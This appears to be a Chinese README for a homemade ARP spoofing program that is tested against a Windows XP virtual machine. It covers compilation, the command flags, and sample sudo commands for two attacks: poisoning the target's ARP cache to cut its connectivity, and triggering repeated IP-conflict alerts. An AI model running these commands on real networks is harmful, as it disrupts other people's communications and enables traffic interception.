本程序模拟实现ARP攻击。程序依赖 Linux 运行环境, 若需在 Windows 下编译运行需做稍许修改。 被攻击主机使用 VirtualBox + Windows XP 进行模拟。
操作系统 : ubuntu 14.04 LTS
编辑器 : sublime text 2
编译器 : gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4
被攻击主机 : VirtualBox + Windows XP
编译链接 : ~$ gcc ./arpspoof.cpp -o arpspoof
虚拟机网桥连接 :
使用VirtualBox,模拟运行Windows XP 作为被攻击的主机。(选择Windows XP是因为其运行所耗资源较少,若用户主机性能比较强悍的话,可以使用其他操作系统进行模拟攻击。)在选择运行Windows XP时,网络选择桥接模式,这样宿主机和主机拥有同一网段的IP,相当于局域网中的两台独立主机。
参数详情 :
- -t, 目标 IP, 必须参数 --> 被攻击的主机 IP, 需填写正确
- -T, 目标 MAC, 必须参数 --> 被攻击的主机 MAC, 需填写正确
- -s, 源 IP 或伪装 IP, 必须参数 --> 本机 IP 或伪装的 IP
- -S, 源 MAC 或伪装 MAC, 必须参数 --> 本机 MAC或伪装的 MAC
- -i, 网卡名称, 可选参数, 默认 eth0
- -c, 攻击次数, 可选参数, 默认 10
- -h, 帮助信息
运行命令 : (因需要建立raw socket链接, 获取使用超级用户权限运行)
~$ sudo ./arpspoof -s [伪装IP] -S [伪装MAC] -t [被攻击IP] -T [被攻击MAC] -c [攻击次数] -i [网卡名称]
样例:
~$ sudo ./arpspoof -s 192.168.1.254 -S 64:00:6a:52:12:aa -t 192.168.1.147 -T 08:00:27:ce:c9:34 -c 1000 -i eth0
####1. 如何获取被攻击方的 MAC 答 : 使用 ~$ ARP 查看本机 ARP 表, 获取被攻击方的 MAC 地址. 如果 ARP 表中不存在被攻击方的条目, 可以先使用 ~$ ping 命令以此更新 ARP 表.
####2. 几种攻击方式
修改被攻击方的 ARP 缓存表, 使其不能正常通信.
例如 : ~$ sudo ./arpspoof -s 192.168.1.254 -S 64:00:6a:52:12:aa -t 192.168.1.147 -T 08:00:27:ce:c9:34 -c 1000 -i eth0
使被攻击方不断跳出 IP 地址冲突对话框.
例如 : ~$ sudo ./arpspoof -s 192.168.1.147 -S 64:00:6a:52:12:aa -t 192.168.1.147 -T 08:00:27:ce:c9:34 -c 1000 -i eth0